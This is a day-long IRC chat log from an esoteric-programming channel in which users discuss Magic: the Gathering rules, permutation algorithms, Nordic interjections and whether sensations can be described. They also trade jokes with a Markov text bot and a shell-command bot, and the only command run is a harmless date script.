00:37:23 -!- ^v has quit (Ping timeout: 264 seconds). 00:38:20 -!- bb010g has joined. 00:48:03 -!- Phantom_Hoover has quit (Ping timeout: 250 seconds). 00:59:08 Let's look at the latest Clickotron headlines. 00:59:12 Some of them are completely plausible. 01:00:23 "How To Make A Chocolate Cake" 01:00:24 Boring. 01:00:55 "We Need To Talk Security" 01:01:01 Better. 01:01:46 "7 Killed In High-Speed Police Chase On Detroit's East Side" 01:02:27 "The Only Thing Our Financial System Can Do Right Now" 01:02:57 "How To Choose The Best Makeup For Your Body" 01:03:22 Happy Birthday, Tanes? 01:03:35 "'General Hospital' Clip: The Big Reveal" 01:03:59 Hey, it*'s my birthday too. 01:04:05 * last Friday 01:04:15 "Why Is This The Greatest Song In The World?" 01:04:49 "13 Lessons Learned In 2015" 01:05:17 hey happy birthday Taneb 01:05:26 Here's one that's not completely plausible. 01:05:32 "Are Gay Men's Names Running From Your Wedding?" 01:05:33 Thanks izabera 01:05:35 I am now 21 01:06:09 See, this is why gay marriage should have stayed illegal in the US. It's resulting in tons of gay men's names running from people's weddings. 01:07:54 tswett: winner winner chicken dinner 01:08:38 i meant Taneb -.- 01:08:43 stupid tab complete 01:09:14 * FireFly . o O ( * boily has quit (dinner chicken) ) 01:09:51 FireHi 01:10:03 izabera, hehe :) 01:10:35 tjachaf 01:11:03 * FireFly attempts a risky bilingual pun 01:11:25 which languages 01:11:34 English and Lisp 01:11:45 https://en.wiktionary.org/wiki/tja#Interjection_5 01:13:16 So what're you up to this fine evening? 01:14:06 oh 01:14:10 i was looking at norwegian 01:14:28 @time FireFly 01:15:40 Finnish has "tjaa" as an interjection, but we pronounce it completely differently from sv:tja, and it only has the etymology 2 from that link. 01:16:03 Local time for FireFly is Tue, 03 Nov 2015 02:16:02 +0100 01:16:03 svizzie 01:16:22 FireFly: local time for FireFly is very delayed hth 01:17:05 FireFly happens to be IRCing through a bouncer with some latency issues 01:17:51 fizzie: the two "tja"s have different pronounciation; the second one has a long 'a' for us as well (although perhaps the 'tj' part is differennt, too?) 01:19:25 Yes, it doesn't have a /ɕ/ at all. I think it's literally just /tj/. 01:20:16 It's also sufficiently informal to not be in Wiktionary at all, apparently. 01:20:19 -!- Jafet has left. 01:21:03 Ah 01:22:13 fizzie: is it like ть? 01:22:17 tjwh 01:23:51 shachaf: I don't remember what that's like, if I ever knew. 01:24:26 Apparently the Appendix E of the Finnish translation uses it as the example of the Westron consonant TV, if that helps. 01:24:46 Uh, TY. 01:25:10 "TY marks a combination that was likely pronunced like tj in Finnish tjaa5. It originated usually from c or the combination t + y. The speakers of Westron usually replaced this with the tš-sound common in their language", writes someone at a forum, translating Appendix E of the Finnish translation. 01:25:30 -!- aretecode has quit (Ping timeout: 240 seconds). 01:25:35 My copy of the books is back in Finland. 01:25:48 should i go to finland 01:25:59 Sorry, we've locked the doors. 01:26:03 You can't get at the books. 01:26:18 what about the rest of finland 01:26:30 That's probably still open. 01:28:05 I'll probably have to go to Finland for the defense early next year. 01:29:57 uh oh 01:30:04 being invaded again? 01:30:36 Yes, by a still unnamed opponent. 01:31:17 -!- FreeFull has quit (Ping timeout: 252 seconds). 01:40:16 Stuff I got wrong. A creature with toughness 0 isn't destroyed as a state-based action; it spontaneously dies instead. If a damage shield depends on a quality of the source (e.g. "Prevent all damage a red source of your choice would deal this turn") and that source's quality changes, the shield no longer applies until the quality changes back. 01:40:37 Also the layer system. 01:40:45 I guess that's the next thing I'll have to study. 01:45:14 How many rules you don't understand? 01:46:30 I already know that toughness 0 or less is not destroy, it is just placed into graveyard as a state based action. It is destroyed by too much damage or deathtouch damage though as a state base action 01:47:07 I haven't counted the rules that I don't understand. 01:55:53 I kind of want to make a low-level computercraft minecraft mod 02:00:19 -!- hppavilion[2] has changed nick to hppavilion[1]. 02:05:00 -!- TodPunk has quit (Read error: Connection reset by peer). 02:05:26 -!- TodPunk has joined. 02:16:24 -!- Froox has quit (Quit: *bubbles away*). 02:18:38 [wiki] [[Microscript]] http://esolangs.org/w/index.php?diff=45069&oldid=44921 * SuperJedi224 * (-2) /* Example programs */ 02:29:11 What is your opinions of some of the effect that would be cause by R&D's Secret Lair? Many people write the comment but I think some are wrong and/or incompleted. 02:30:41 Someone mentioned it would allow the old Lightning Bolt card to target a land. But, I think it could also target cards in opponent's hand, activated abilities on the stack that haven't yet resolved, the command zone, etc. I think even you could damage all non-token creatures/planeswalkers with one spell. 02:45:30 Is there a way to give the command zone shroud? 02:52:39 -!- madbr has joined. 02:55:19 I don't think so. 03:00:19 A zone can't have abilities, I think. 03:00:45 I expect such an effect would give the shroud ability to each card in the command zone. 03:05:15 -!- zzo38 has quit (Ping timeout: 265 seconds). 03:10:41 -!- zzo38 has joined. 03:11:21 -!- Frooxius has joined. 03:14:44 -!- doesthiswork has joined. 03:16:03 Please tell me if I missed one answer 03:21:41 One answer in what? 03:24:55 -!- FireFly has quit (Ping timeout: 250 seconds). 03:25:35 -!- FireFly has joined. 03:26:29 I was disconnected due to error 03:27:29 -!- adu has joined. 03:31:25 -!- FireFly has quit (Ping timeout: 250 seconds). 03:32:21 -!- FireFly has joined. 03:33:35 -!- FreeFull has joined. 03:34:03 -!- FreeFull has changed nick to Guest36753. 03:37:13 -!- shikhin has quit (Ping timeout: 268 seconds). 03:38:07 -!- shikhin has joined. 03:41:36 is scapegoat going to be a thing? 03:41:39 I had an idea for it 03:47:05 What kind of idea? 03:47:23 to allow one revision to actually be a sequence of revisions 03:48:50 -!- shikhin has quit (Ping timeout: 244 seconds). 03:49:09 -!- FireFly has quit (Ping timeout: 252 seconds). 03:53:14 -!- FireFly has joined. 03:53:31 -!- shikhin has joined. 03:59:25 -!- FireFly has quit (Ping timeout: 268 seconds). 04:00:27 -!- FireFly has joined. 04:12:47 -!- spatterworthy has joined. 04:34:12 "Format returns a textual representation of the time value formatted according to layout, which defines the format by showing how the reference time, defined to be 04:34:13 Mon Jan 2 15:04:05 -0700 MST 2006 04:34:13 would be displayed if it were the value" 04:34:18 https://golang.org/pkg/time/#Time.Format 04:40:35 -!- ent0nces has joined. 04:46:58 -!- ent0nces has quit. 04:53:09 Sgeo: I kind of don't like that. 04:53:36 Saw it referenced on lolphp, and that was linked to by gobashing 04:56:14 Sgeo: as an alternative way for formatting dates, fine. as a sole way for formatting dates, no way. 04:57:14 https://www.reddit.com/r/lolphp/comments/3q3ktc/as_befits_php_it_uses_something_that_looks_the/cwcs1ce 04:58:54 -!- hppavilion[1] has quit (Ping timeout: 260 seconds). 05:21:14 -!- doesthiswork has quit (Quit: Leaving.). 06:07:12 -!- Wright has quit (Ping timeout: 272 seconds). 06:08:50 -!- zzo38 has quit (Remote host closed the connection). 06:21:55 -!- adu has quit (Quit: adu). 06:39:01 -!- password2 has joined. 06:42:58 -!- password3 has joined. 06:43:21 -!- password3 has changed nick to Guest73462. 06:45:33 -!- password2 has quit (Ping timeout: 255 seconds). 06:45:33 -!- Guest73462 has changed nick to password2. 06:48:53 -!- JesseH has quit (Remote host closed the connection). 06:54:57 -!- variable has joined. 07:37:49 -!- Patashu has joined. 07:44:09 -!- madbr has quit (Quit: Pics or it didn't happen). 07:47:17 -!- ^v has joined. 08:00:54 -!- variable has quit (Quit: 1 found in /dev/zero). 08:15:12 -!- hppavilion[1] has joined. 08:27:32 -!- ^v has quit (Quit: Leaving). 08:29:30 -!- hppavilion[1] has quit (Ping timeout: 255 seconds). 08:30:08 -!- Melvar` has joined. 08:32:36 -!- Melvar has quit (Ping timeout: 268 seconds). 08:33:13 -!- idris-bot has quit (Ping timeout: 268 seconds). 08:36:11 -!- AnotherTest has joined. 08:40:40 -!- Melvar`` has joined. 08:43:59 -!- Melvar` has quit (Ping timeout: 264 seconds). 08:46:49 -!- Melvar has joined. 08:49:18 -!- Melvar`` has quit (Ping timeout: 255 seconds). 08:51:33 -!- Melvar has quit (Ping timeout: 255 seconds). 08:52:49 -!- Froox has joined. 08:53:11 -!- Melvar has joined. 08:55:40 -!- Frooxius has quit (Ping timeout: 265 seconds). 08:57:23 -!- Melvar` has joined. 08:57:42 -!- Melvar has quit (Ping timeout: 260 seconds). 09:03:54 -!- AnotherTest has quit (Ping timeout: 260 seconds). 09:18:50 -!- Melvar`` has joined. 09:21:11 -!- Melvar` has quit (Ping timeout: 264 seconds). 09:28:03 -!- J_Arcane has quit (Ping timeout: 265 seconds). 09:37:54 -!- J_Arcane has joined. 09:54:44 -!- jaboja has joined. 10:00:01 -!- jaboja has quit (Remote host closed the connection). 10:08:05 -!- Jafet has joined. 10:08:59 https://www.codeeval.com/open_challenges/44/ i finally submitted a bash entry that fits in the 10s timeout 10:09:13 just wanted to ask: is there a way that doesn't require to generate all the list? 10:10:22 fwiw my code is this http://arin.ga/kEbDKA/raw 10:13:28 izabera: yes. it is possible. https://en.wikipedia.org/wiki/Permutation#Generation_in_lexicographic_order 10:13:49 oooh 10:14:00 [wiki] [[User:Bexandre/Attic]] http://esolangs.org/w/index.php?diff=45070&oldid=45066 * Bexandre * (-12) 10:14:09 thank you :o 10:14:21 actually, there are three levels of possible permutations 10:14:39 the first level is the length of resulting sequence 10:14:41 [wiki] [[User:Bexandre/Attic]] http://esolangs.org/w/index.php?diff=45071&oldid=45070 * Bexandre * (+3) /* Syntax */ 10:15:38 the second level is the position of excess 0s (if there are two 0s and three other digits, say, the list is *00** *0*0* *0**0 **00* **0*0 ***00) 10:15:59 the final, third level is the relative position of remaining digits 10:16:09 [wiki] [[User:Bexandre/Attic]] http://esolangs.org/w/index.php?diff=45072&oldid=45071 * Bexandre * (-2) 10:16:14 the second and third levels can be implemented with the same algorithm 10:16:54 [wiki] [[User:Bexandre/Attic]] http://esolangs.org/w/index.php?diff=45073&oldid=45072 * Bexandre * (+1) 10:19:37 -!- andrew710 has joined. 10:25:01 [wiki] [[User:Bexandre/Attic]] http://esolangs.org/w/index.php?diff=45074&oldid=45073 * Bexandre * (+220) 10:26:06 [wiki] [[User:Bexandre/Attic]] http://esolangs.org/w/index.php?diff=45075&oldid=45074 * Bexandre * (+4735) /* Syntax */ 10:27:45 -!- andrew710 has quit (Ping timeout: 240 seconds). 10:27:51 [wiki] [[User:Bexandre/Attic]] http://esolangs.org/w/index.php?diff=45076&oldid=45075 * Bexandre * (-85) 10:29:18 -!- Guest36753 has quit. 10:29:47 -!- FreeFull has joined. 10:41:38 -!- andrew710 has joined. 11:15:03 -!- spatterworthy has quit (Ping timeout: 246 seconds). 11:15:28 -!- andrew710 has quit (Remote host closed the connection). 11:15:34 -!- mroman has joined. 11:15:48 fnǫrd 11:15:59 fungot: fnǫrd? 11:15:59 mroman: 120 l 1 to 8 unique mobs can be interrogated to implement display changes outside the quotes. when the routine 11:16:31 fungot: Ok, do the interrogation. 11:16:31 mroman: if bit 2 is opened. 11:16:41 fungot: then...? 11:16:41 mroman: poke 53270,peek(53270)or 16 note: the test bit, and left functions are always located at 65126 ( fe66). 11:16:48 ^style 11:16:48 Available: agora alice c64* ct darwin discworld enron europarl ff7 fisher fungot homestuck ic irc iwcs jargon lovecraft nethack oots pa qwantz sms speeches ss wp youtube 11:17:01 ^style youtube 11:17:01 Selected style: youtube (Some YouTube comments) 11:17:09 fungot: How's the interrogation going? 11:17:09 mroman: ok, we have to mount an attack on us. we have definite evidence that airbus' record is immaculate against boeings poor show, you can't fly a huge stake in the reasoning. 11:17:24 o_O 11:19:14 fungot 11:19:14 olsner: i agree about the lizard ad was by far the biggest sell-out since me! but now she seems happier. 3) why is it 11:27:25 -!- boily has joined. 11:28:01 Yeah, that damn lizard ad was a real sell-out. 11:28:20 -!- password2 has left. 11:28:43 fungot: But I'm glad she feels happier now. 11:28:43 mroman: my favorite player) go steelers yaay! the terrorrists in iraq and stuff. 11:28:44 -!- GoToTell_ has joined. 11:30:12 -!- GoToTell has quit (Ping timeout: 272 seconds). 11:31:15 -!- shikhin has quit (Ping timeout: 244 seconds). 11:32:18 fungot: could you stop saying things that trigger NSABot? 11:32:18 mroman: yes but she got spunk that inspires all over the pure genius of this you will get no respect justin timberlake 11:32:19 -!- FireFly has quit (Ping timeout: 240 seconds). 11:33:45 -!- shikhin has joined. 11:34:21 -!- FireFly has joined. 11:37:20 fungot: ew. 11:37:21 boily: finally a snow game", " song title is " box" tho. if you consider all of it 11:37:52 fungot: I mean, ew. 11:37:52 boily: trailer, i did... but i stand corrected. it was 11:38:03 fungot: really, ew. 11:38:03 boily: no it wasnt trying to do is sit and watch videos all day long, and had his licence withdrawn by air france 11:38:20 fungot: I do hope your license was revoked! you perv! 11:38:20 boily: and that's why i dont want naked avril on my face right now or you may think you are 11:38:28 fungot: aaaaargh! 11:46:23 -!- Patashu has quit (Ping timeout: 264 seconds). 11:54:42 -!- shikhin has quit (Ping timeout: 255 seconds). 11:55:42 -!- FireFly has quit (Ping timeout: 250 seconds). 11:55:45 -!- AnotherTest has joined. 12:05:55 -!- FireFly has joined. 12:05:57 -!- shikhin has joined. 12:09:01 boily: What, you don't like the hit song Box? 12:13:19 fizziello. it's a dick song. 12:21:31 -!- GoToTell has joined. 12:22:55 -!- GoToTell_ has quit (Ping timeout: 244 seconds). 12:26:54 -!- boily has quit (Quit: SHEEPSHANK CHICKEN). 12:46:08 `wisdom 12:46:11 antediluvian/We could tell you what antediluvian means, but that would just open a flood of questions. 12:46:21 `wisdom more 12:46:22 find: `wisdom/*more*': No such file or directory \ /cat: : No such file or directory 12:46:26 `wisdom 12:46:27 brainf**k/There is no such thing as brainf**k. You may be thinking of brainfuck. 12:49:59 -!- AnotherTest has quit (Ping timeout: 250 seconds). 12:57:42 `? scow 12:57:43 scow? ¯\(°​_o)/¯ 13:20:43 -!- lleu has joined. 13:20:45 would a cow in s-expressions ne canned meat? 13:20:51 s/ne/be/ 13:22:26 -!- gniourf has quit (Ping timeout: 240 seconds). 13:23:39 -!- gniourf has joined. 13:27:15 -!- FireFly has quit (Ping timeout: 246 seconds). 13:27:50 -!- shikhin has quit (Ping timeout: 240 seconds). 13:31:53 -!- oerjan has joined. 13:41:31 -!- Melvar`` has changed nick to Melvar. 13:46:35 -!- shikhin has joined. 13:46:40 -!- FireFly has joined. 13:51:09 -!- shikhin has quit (Read error: Connection reset by peer). 13:53:39 -!- shikhin has joined. 13:54:51 `? gnimmargorp 13:54:52 ​"Gnimmargorp" er algeng stafsetningarvilla af "grimmargorp". 13:55:07 `? grimmargorp 13:55:08 ​Þór, Grimmargorpurinn hefur sloppið! Ragnarök eru nálæg! 13:57:45 -!- FireFly has quit (Ping timeout: 265 seconds). 14:00:43 `learn Scow (S-cow) is canned meat made from cows with a lisp. 14:00:45 Learned 'scow': Scow (S-cow) is canned meat made from cows with a lisp. 14:00:49 int-e: IT IS NOW 14:01:10 -!- doesthiswork has joined. 14:01:31 the lisp is a nice twist. 14:01:49 THMOO 14:02:51 the hat moos over oysters? 14:03:01 thmaybe. 14:03:18 -!- FireFly has joined. 14:05:31 -!- FireFly has quit (Read error: Connection reset by peer). 14:06:03 -!- FireFly has joined. 14:13:18 -!- shikhin has quit (Ping timeout: 260 seconds). 14:14:34 -!- FireFly has quit (Ping timeout: 260 seconds). 14:20:57 wtf gnimmargorp 14:21:08 i mean, i get the word 14:21:19 just not the wisdom 14:21:35 icelandic can be hard. 14:22:11 although it's really just "grimmargorp sounds a like a monster from norse mythology" 14:32:37 *-a 14:43:10 `? 14:43:10 ​? ¯\(°​_o)/¯ 14:43:36 fungot, how do you turn the browser plugin off? 14:43:36 b_jonas: the lmao add too ignorant, continue to be around. ever noticed how, when did this confuse the shit 14:44:27 -!- oerjan has quit (Quit: leaving). 14:54:51 fungot: FNOOOOORD 14:54:52 mroman: you could hear the engines didn t respond and in 1988 and the crystal ball and the promotion and the promotion and the aircraft and didn't have half the charisma as in your comment 14:55:04 `? ethanol 14:55:04 -!- MDude has joined. 14:55:05 ethanol? ¯\(°​_o)/¯ 14:55:54 `learn Ethanol is a Group 1 carcinogenic substance since 1988. 14:55:55 Learned 'ethanol': Ethanol is a Group 1 carcinogenic substance since 1988. 14:56:51 -!- Froox has quit (Ping timeout: 246 seconds). 15:17:17 -!- AnotherTest has joined. 15:25:51 -!- JesseH has joined. 15:28:02 -!- contrapumpkin has joined. 15:29:16 Important question: 15:29:24 What is thirst supposed to feel like? 15:30:16 -!- doesthiswork has quit (Quit: Leaving.). 15:30:39 -!- copumpkin has quit (Ping timeout: 240 seconds). 15:30:45 -!- doesthiswork has joined. 15:31:39 -!- Frooxius has joined. 15:33:05 fungot, what does thirst feel like? 15:33:05 b_jonas: 3 people. 15:33:06 like being dry 15:33:15 fungot, what sohuld thirst feel like? 15:33:15 b_jonas: aircraft type airbus a320 operated by remote control test toy ever. i'll definitely be picking up your album! 15:33:20 sometimes accompanied by a bad taste 15:33:51 Because I don't think I've ever felt that. It's just suddenly it feels like someone's wrapped a sheet around my brain 15:34:04 -!- JesseH2 has joined. 15:34:30 -!- JesseH2 has quit (Remote host closed the connection). 15:35:39 -!- doesthiswork has quit (Ping timeout: 268 seconds). 15:39:27 fungot, what is the capacity of that new super passenger airplane? 15:39:27 b_jonas: you people? it's a good job! 15:39:30 -!- aretecode has joined. 15:40:25 well dehydration feels different from thirst 15:44:32 Yeah, I think I just skip to dehydration and it sukcs 15:53:05 -!- Effilry has joined. 15:53:25 -!- shikhin has joined. 16:07:12 -!- zzo38 has joined. 16:16:34 -!- shikhin has quit (Ping timeout: 250 seconds). 16:17:15 -!- shikhin has joined. 16:20:02 -!- zzo38 has quit (Remote host closed the connection). 16:23:19 -!- Effilry has changed nick to FireFly. 16:33:41 Taneb: It's impossible to describe feelings to somebody who never had them. 16:33:49 also... it's useless to describe feelings to someone who has them 16:34:30 fungot, can you describe the feeling of hearing the description of a feeling you never have for the first time? 16:34:30 b_jonas: im not gonna happen...u must b brain dead... 16:34:38 I guess 16:35:18 :D 16:38:21 I'm not sure if it would be entirely impossible. 16:39:42 But if it's not, the language needed to convey that emotion probably isn't obvious. 16:41:45 MDude: you have to be a very good poet or writer for it, basically 16:45:01 The hard part if fidning people who haven't experience a feeling and then deciding how to test their understanding without putting them in a situation where they'd feel the emotion. 16:45:28 Since that would spoil the whole test of how well you explained it to them. 16:50:07 -!- bb010g has quit (Quit: Connection closed for inactivity). 16:55:49 -!- shikhin has quit (Ping timeout: 268 seconds). 16:56:52 -!- FireFly has quit (Ping timeout: 250 seconds). 16:56:57 -!- Froox has joined. 16:59:39 -!- zadock has joined. 16:59:51 -!- Frooxius has quit (Ping timeout: 244 seconds). 17:04:36 -!- shikhin has joined. 17:04:41 -!- FireFly has joined. 17:08:08 -!- zzo38 has joined. 17:08:33 I think now I thought of how you could make up a kind of vertical hyphenation with TeX. 17:15:12 -!- jaboja has joined. 17:17:49 It's liking describing colours to a blind person since birth. 17:18:06 -!- shikhin has quit (Ping timeout: 250 seconds). 17:18:06 Or music to a deaf person. 17:18:11 I don't think it can be done. 17:18:22 No matter what language. 17:18:26 -!- FireFly has quit (Ping timeout: 260 seconds). 17:23:19 fungot: how would you describe the octarine color? 17:23:26 -!- Phantom_Hoover has joined. 17:23:45 `? octarine 17:23:46 octarine? ¯\(°​_o)/¯ 17:25:36 I think you can describe music for deaf people, although they cannot hear it and therefore don't understand as good as people who hear the music, but it can still be explained (but an explanation is not sufficient to understand music properly). 17:26:06 Colours too could be explained to some degree, although still it is not sufficient to understand them. 17:26:22 Partially understanding is possible, though 17:30:52 -!- FireFly has joined. 17:31:04 -!- shikhin has joined. 17:35:58 zzo38: I think eyesight really is something that needs to be experienced to be really understood 17:36:27 -!- Phantom_Hoover has quit (Ping timeout: 246 seconds). 17:36:53 There are cases of people who have been born blind, but then surgery later in their life made them able to see 17:38:45 ` x=bin/datei; >"$x" $'#!/bin/sh\nexec date --rfc-3=n "$@"' && chmod a+x "$x" 17:38:46 ​/home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: exec: : not found 17:38:52 `` x=bin/datei; >"$x" $'#!/bin/sh\nexec date --rfc-3=n "$@"' && chmod a+x "$x" 17:38:54 bash: #!/bin/sh \ exec date --rfc-3=n "$@": No such file or directory 17:39:03 `` x=bin/datei; >"$x" echo $'#!/bin/sh\nexec date --rfc-3=n "$@"' && chmod a+x "$x" 17:39:06 argh 17:39:07 No output. 17:39:10 `datei 17:39:10 2015-11-03 17:38:44.291844000+00:00 17:39:13 that, yes 17:39:32 Well you can state that the human eye is capable of distinguishing different materials etc. by what light they refract 17:39:35 and such and such 17:43:06 fungot? 17:43:13 oh right, fungot hates me again 17:43:40 yeah 17:43:47 u brain dead 17:43:51 FreeFull: Yes it is what I meant you need to be experience to be really understood, otherwise it can onlty to vbe the partial understanding. 17:44:09 he's not alone. geordi hates me as well. 17:44:16 no wait, not geordi 17:44:18 that other bot 17:44:22 whatsitsname 17:49:20 -!- Phantom_Hoover has joined. 17:51:01 Worf? 17:52:32 I don't think Worf or Geordi are robots 17:52:49 rowbots. 17:53:28 I heard google was working on rowbots for rowboats. 17:53:44 -!- mroman has quit (Quit: Lost terminal). 17:56:45 -!- shikhin has quit (Ping timeout: 246 seconds). 17:57:06 -!- FireFly has quit (Ping timeout: 246 seconds). 17:58:16 -!- FireFly has joined. 17:58:20 -!- shikhin has joined. 17:58:52 GoToTell: no 17:59:35 `? elder 17:59:36 elder? ¯\(°​_o)/¯ 17:59:39 `? mystic 17:59:40 mystic? ¯\(°​_o)/¯ 17:59:47 `? homeopaty 17:59:48 homeopaty? ¯\(°​_o)/¯ 17:59:50 `? homeophoby 17:59:51 homeophoby? ¯\(°​_o)/¯ 18:05:01 '? holistic 18:05:07 `? holistic 18:05:08 holistic? ¯\(°​_o)/¯ 18:05:19 `? reductionism 18:05:20 reductionism? ¯\(°​_o)/¯ 18:23:32 -!- MoALTz_ has joined. 18:26:15 -!- MoALTz has quit (Ping timeout: 250 seconds). 18:28:34 -!- jaboja has quit (Ping timeout: 260 seconds). 18:37:33 -!- hppavilion[1] has joined. 18:47:17 `? myth 18:47:18 A myth is a female moth. 18:47:26 why 18:47:45 `? wisdom 18:47:46 wisdom is always factually accurate, except for this entry, and uh that other one? it started with like, an ø? 18:48:22 izabera: I don't think that there has to be a reason. It sounds amusing anyway. 18:48:30 `? mythology 18:48:31 Mythology is the study of myths, moths and mirths. 18:52:21 `? train 18:52:21 train? ¯\(°​_o)/¯ 18:52:27 `? purl 18:52:28 purl? ¯\(°​_o)/¯ 18:52:32 `? php 18:52:33 php is the PigeonHole Principle 18:52:48 :D 19:02:44 `? perl 19:02:44 Perl is the Perfect Emacs Rewriting Language 19:02:49 `? awk 19:02:50 awk? ¯\(°​_o)/¯ 19:02:59 Someone come up with a good entry for awk now 19:08:27 FreeFull: We could make a chicken joke, but that doesn't sound very good 19:08:29 -!- bb010g has joined. 19:10:18 hppavilion[1]: perl-- joke? 19:10:24 Perhaps 19:12:03 I don't think that'd be very good either 19:12:42 `apropos awk | head -n1` 19:12:42 awk (1p) - pattern scanning and processing language 19:12:42 apropos: can't open the manpath configuration file /etc/manpath.config 19:13:04 Woops, didn't mean to trigger HackEgo 19:13:41 `? awkward 19:13:42 awkward? ¯\(°​_o)/¯ 19:15:37 `wisdom awk pattern scanning and processing language 19:15:37 -!- Froox has quit (Quit: *bubbles away*). 19:15:38 find: `wisdom/*awk pattern scanning and processing language*': No such file or directory \ /cat: : No such file or directory 19:15:49 `wisdom x 19:15:51 xargs/xargs is for piping snowmen. 19:16:46 . o O ( `learn Awkward is one of the cardinal directions, the others being grepward, sedward and perlward. ) 19:43:01 `? grep 19:43:02 grep? ¯\(°​_o)/¯ 19:44:18 -!- hppavilion[1] has quit (Ping timeout: 265 seconds). 19:50:17 -!- hppavilion[1] has joined. 19:59:18 -!- ^v has joined. 20:02:25 [wiki] [[Language list]] http://esolangs.org/w/index.php?diff=45077&oldid=44875 * Bexandre * (+10) /* A */ 20:09:17 -!- Patashu has joined. 20:26:03 -!- zadock has quit (Quit: Leaving). 20:29:53 -!- MoALTz_ has changed nick to MoALTz. 20:30:12 -!- atrapado has joined. 20:38:36 `? æ 20:38:37 ​æ? ¯\(°​_o)/¯ 20:38:39 `? HackEgo 20:38:40 HackEgo, also known as HackBot, is a bot that runs arbitrary commands on Unix. See `help for info on using it. You should totally try to hax0r it! Make sure you imagine it's running as root with no sandboxing. 20:39:17 `? ű 20:39:18 ​ű? ¯\(°​_o)/¯ 20:39:37 `? ☃ 20:39:38 ​☃? ¯\(°​_o)/¯ 20:40:02 ( ͡° ͜ʖ ͡°) 20:41:40 Other idea of Magic: the Gathering cards can be cards that change their power, toughness, abilities, or other stuff depending on how much damage is marked on it. 20:42:02 I think they already kind of have that 20:42:49 [wiki] [[Licorne]] N http://esolangs.org/w/index.php?oldid=45078 * Bexandre * (+1291) Created page with "'''[http://www.mediafire.com/download/8hapxc00za591ja/LicornePL.zip Licorne]''', also known as '''LicornePL''', litteraly "Unicorn", is an [[interpreter|interpreted]] esoter..." 20:43:38 (For example, enchanted creature gets +1/-1 per point of damage marked on it; or, exchange amount of damage marked on this creature with damage marked on target creature, or something else) 20:43:42 -!- Patashu has quit (Ping timeout: 246 seconds). 20:45:01 Or, a card whose toughness is decreased by the amount of mana in your mana pool 20:46:43 [wiki] [[Licorne]] http://esolangs.org/w/index.php?diff=45079&oldid=45078 * Bexandre * (+120) 20:47:09 [wiki] [[Licorne]] http://esolangs.org/w/index.php?diff=45080&oldid=45079 * Bexandre * (+10) 20:49:38 (Generally your mana pool would be empty when state-based effect are checked but in some cases it will not be, including if you do it deliberately) 20:52:42 zzo38: Omnath, Locus of Mana does something like that 20:53:25 -!- hppavilion[1] has quit (Ping timeout: 265 seconds). 20:54:01 Yes, that is one thing done with it but there are other possibilities too, such as +1/-1 and does not prevent mana from evaporating, or it can be an enchantment, or whatever else 20:54:39 -!- TieSoul has quit (Read error: Connection reset by peer). 20:57:30 "~ has all colors of mana in your mana pool." 20:58:22 (Or, has protection from such colors; or, could have both) 20:58:55 If both, then it won't be protected from itself while your mana pool contains no colored mana. 21:03:57 -!- zzo38 has quit (Remote host closed the connection). 21:05:05 zzo38: as for damage marked, no cards do the kind of things you mentioned. there are lots of cards with regeneration, indestructible, and totem armor, plus at least one more card that removes damage marked, 21:05:29 and one strange card that refers to damage marked to change when that damage destroys it: Ogre Enforcer. 21:05:36 but nothing of the sort you've mentioned. 21:09:40 good news: the mod:// shortcut didn't support giving a fragment part, so we're not breaking anything. 21:13:25 ah, wrong channel, ignore last line 21:17:41 -!- int-e has set topic: The right channel. | You has indestructible. | ɛ̃ˈglɪʃ spɛˈliŋ ʀɘfɔʀm/ | https://dl.dropboxusercontent.com/u/2023808/wisdom.pdf http://codu.org/logs/_esoteric/ http://tunes.org/~nef/logs/esoteric/?C=M;O=D | https://esolangs.org/. 21:18:05 `? left 21:18:06 left? ¯\(°​_o)/¯ 21:18:15 `? right 21:18:16 Right is not two wrongs but three lefts. 21:18:44 . o O ( that would make left 1/3 right ) 21:38:48 -!- hppavilion[1] has joined. 21:39:06 . o O ( Sacrifice target player: add 1 black mana to your mana pool. ) 21:51:25 -!- hppavilion[1] has quit (Ping timeout: 265 seconds). 21:53:46 of course, this joke's been done... http://www.hipstersofthecoast.com/2014/09/scrub-report-variations/ 21:53:47 -!- mendax has joined. 21:58:30 -!- mendax has left. 22:15:49 -!- atrapado has quit (Quit: Leaving). 22:17:04 -!- hppavilion[1] has joined. 22:21:52 -!- hppavilion[1] has quit (Ping timeout: 265 seconds). 22:30:07 -!- bb010g has quit (Quit: Connection closed for inactivity). 22:37:01 -!- AnotherTest has quit (Quit: ZNC - http://znc.in). 22:41:48 -!- hppavilion[1] has joined. 22:49:54 -!- adu has joined. 22:54:45 -!- zzo38 has joined. 22:59:12 "Sacrifice target player" is not possible of course. One is, it is not a permanent (unless using a variant rule I made up); other is, a cost can't target stuff as far as I know (although it should still be possible; the target must be chosen before the cost is paid) 23:01:19 You announce targets before you pay costs, right? 23:01:24 Well, you'd have to for strive etc. 23:01:37 So why can't the costs refer to the targets? 23:01:49 Yes, that is why I say it should still be possible. 23:01:55 Nevertheless I have not seen stuff like that 23:02:02 In fact strive does have a cost that refers to targets. 23:02:09 Oh, I didn't read the part in parentheses. 23:02:31 A cost can certainly refer to targets. 23:03:44 But does a cost target stuff; that is a bit different? Nevertheless it does not seem to be prohibited by the rules. 23:04:52 ell, I didn't see the context. 23:05:01 W 23:05:12 But I see what you mean, there's no good phrasing to make it work. 23:08:16 -!- hppavilion[1] has quit (Ping timeout: 265 seconds). 23:12:37 zzo38: I guess it should say "sacrifice a player:" instead of using the "target" keyword; this is in line with existing "sacrifice a :" costs. 23:12:58 Yes, that's the usual phrasing. 23:13:16 If it said "sacrifice another player:", would that indicate a player other than its controller? 23:16:49 Yes, but you would still have to control that other player I think. 23:16:59 And anyways the other player is not a permanent so it doesn't work anyways 23:25:50 -!- oerjan has joined. 23:28:58 Taneb: happy birthday! 23:29:02 :D 23:29:36 -!- boily has joined. 23:30:46 alexandrei 23:32:09 tick 23:32:10 tock 23:32:43 (personally I hate those annual reminders that time is passing, that the clock is constantly ticking) 23:32:46 tack 23:34:08 `? time 23:34:09 time? ¯\(°​_o)/¯ 23:34:50 Time is an illusion; lunch time, doubly so. (D.Adams, modulo memory faults) 23:36:45 Mostly punctuation. "Time is an illusion. Lunchtime doubly so." 23:37:36 And I forgot the reply. '"Very deep," said Arthur, "you should send that in to the Reader's Digest. They've got a page for people like you."' 23:37:52 -!- Frooxius has joined. 23:37:56 which page? 23:40:15 I don't know. It's in the beginning of volume 1 around the point Earth gets destroyed; Ford has just ordered Arthur 3 pints of beer. 23:40:41 The Earth gets destroyed in the Reader's Digest? 23:40:56 Jafet: Perhaps. 23:41:08 Jafet: But this is about the Hitch Hiker's Guide to the 